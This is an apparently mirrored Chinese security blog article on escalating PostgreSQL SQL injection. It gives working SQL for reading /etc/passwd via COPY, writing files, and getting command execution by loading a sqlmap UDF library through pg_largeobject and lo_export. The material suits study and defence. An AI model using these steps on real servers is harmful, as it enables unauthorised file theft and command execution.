PostgreSQL的那點事兒

wyzsk發表於2020-08-19
作者: 瘋狗 · 2013/07/09 16:52

今天無意發現了個PostgreSQL環境,線上學習了下,一般的資料注射(讀寫資料庫)差異不大,不做討論,個人比較關心PostgreSQL的檔案讀取和命令執行方面。

0x00 檔案讀取/寫入


PostgreSQL 8.1 以後提供了一組現成的檔案操作函式

pg_logdir_ls()、pg_ls_dir()、pg_file_rename()、pg_file_write()、 pg_read_file()、pg_length_file()

用這些就可以胡作非為了?你錯了。。。

可以用這個函式直接讀取/etc/passwd?實際情況下測試並未成功,因為pg_xxx這個adminpack將許可權限制在了./postgresql/data下面。

a)比如列目錄

2013070916495021606.png

b)讀取許可權允許的檔案

2013070916501626793.png

還有個寫檔案函式測試並未成功,而且只能像data下寫也是滿足不了需求的。

c)比較可行的檔案讀取方案

2013070916503429269.png

2013070916510067232.png

drop table wooyun;
CREATE TABLE wooyun(t TEXT);
COPY wooyun FROM '/etc/passwd';
SELECT * FROM wooyun limit 1 offset 0; 

利用注射修改偏移值很快就可以遍歷出來了,但是還是有點寒磣,直接讀出全部資料

DROP TABLE wooyun;
CREATE TABLE wooyun (t TEXT);
COPY wooyun(t) FROM '/etc/passwd';
SELECT * FROM wooyun;

2013070916512953973.png

d)寫入檔案

DROP TABLE wooyun;
CREATE TABLE wooyun (t TEXT);
INSERT INTO wooyun(t) VALUES ('hello wooyun');
COPY wooyun(t) TO '/tmp/wooyun';

2013070916514499642.png

讀一下看看是否存在

2013070916515914176.png
Bingo~

0x01 命令執行

enter code here

這裡大概有三種方式

a)利用 libc 中的 system() 函式

很多檔案會讓我們新增一個到libc庫的自定義功能函式

CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT; 

但是返回錯誤

Error : ERROR:  incompatible library "/lib64/libc.so.6": missing magic block  
HINT:  Extension libraries are required to use the PG\_MODULE\_MAGIC macro.

這是因為當PostgreSQL載入外部動態庫的時候,會檢查MAGIC DATA,如果沒有這個函式(Pg_magic_func),PostgreSQL認為這個動態庫不是PostgreSQL可以使用的動態庫。具體邏輯請看 src/backend/utils/fmgr/dfmgr.c 中定義的 internal_load_library 函式原始碼。

這樣一來就等同於建立了一個“白名單”,系統自帶的庫預設我不再允許動態載入,所以此路不通(也許低版本走的通,但我手裡這個不行)。

給一個 Pg_magic_func 程式碼樣例:

extern PGDLLEXPORT const Pg_magic_struct * Pg_magic_func(void);
const Pg_magic_struct * 
Pg_magic_func(void)
{
    static const Pg_magic_struct Pg_magic_data = PG_MODULE_MAGIC_DATA;
    return &Pg_magic_data;
} 

b)利用Perl/Python指令碼語言功能

在zone上看過一帖,http://zone.wooyun.org/content/1591,很納悶為什麼這樣定義函式就可以執行系統命令,plperlu又是啥,經過資料的挖掘,發現是PostgreSQL自帶的一種程式語言支援。

具體可見這裡(http://www.postgresql.org/docs/8.3/static/xplang.html)。

大概意思就是PostgreSQL允許用除了SQL和C的其他語言來編寫函式,但這個很悲劇啊,我的環境沒有安裝PostgreSQL的Python和Perl支援,待我弄個環境在來實現下過程。

c)利用C語言自定義函式

Perl、Python都能在PostgreSQL自定義了更不用說C了。

這個在sqlmap的udf目錄下有現成的,而且還是根據版本加了Pg_magic_func函式的,可以載入。。。牛鞭!

FengGou:8.4 $ pwd
/Users/FengGou/sqlmap/udf/postgresql/linux/64/8.4
FengGou:8.4 $ ls
lib_postgresqludf_sys.so

將sqlmap的so檔案轉為16進位制的程式碼

7F454C4602010100000000000000000003003E0001000000C00C0000000000004000000000000000A0170000000000000000000040003800050040001A00190001000000050000000000000000000000000000000000000000000000000000008413000000000000841300000000000000002000000000000100000006000000881300000000000088132000000000008813200000000000A802000000000000B00200000000000000002000000000000200000006000000B013000000000000B013200000000000B01... ...

老他麼長的一段,怎麼還原成二進位制的so庫檔案呢?

這裡感謝 @瞌睡龍 提供的Tips,這裡用到了PostgreSQL的pg_largeobject“大物件資料”,官方原文:

pg_largeobject 表儲存那些標記著"大物件"的資料。
一個大物件是使用其建立時分配的 OID 標識的。 
每個大物件都分解成足夠小的小段或者"頁面"以便以行的形式儲存在 pg_largeobject 裡。 
每頁的資料定義為LOBLKSIZE(目前是BLCKSZ/4,或者通常是 2K 位元組)。

a)檢視PostgreSQL目錄

SELECT setting FROM pg_settings WHERE name='data_directory'; 

b)查詢id

select lo_creat(-1);

oid為當前物件大資料的識別符號,我們要利用這個儲存UDF檔案內容。

c)oid與上面保持一致

delete from pg_largeobject where loid=18412;

等於變相清空"頁面",不要干擾庫的生成

d)把16進位制的so檔案塞進去

insert into pg_largeobject (loid,pageno,data) values(18412, 0, decode('7F454CXXXXXXXXX000', 'hex'));

e)利用PostgreSQL自帶函式將大型物件匯出到檔案

SELECT lo_export(18412, 'cmd.so'); 

f)建立UDF

CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/xxx/cmd.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

g)呼叫這個UDF

select sys_eval('id'); 

2013070916522426778.jpg

也許伺服器沒裝PostgreSQL的Perl、Python支援,但是C庫是通用的。

參考:
1PostgreSQL SQL Injection Cheat Sheet
http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet
2OWASP Backend Security Project Testing PostgreSQL
https://www.owasp.org/index.php/OWASP_Backend_Security_Project_Testing_PostgreSQL
3PostGreSQL隱碼攻擊學習(續篇)
http://www.hackol.com/news/201007270731289820885.shtml
4PostgreSQL Adminpack
http://www.postgresql.org/docs/8.4/static/adminpack.html
5PostgreSQL 外部動態連線庫魔法塊的使用
http://my.oschina.net/quanzl/blog/136907
6Chapter 37. Procedural Languages
http://www.postgresql.org/docs/8.3/static/xplang.html
7postgresql "初級"注入大法
http://zone.wooyun.org/content/1591
8pg_largeobject
http://www.php100.com/manual/PostgreSQL8/catalog-pg-largeobject.html

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章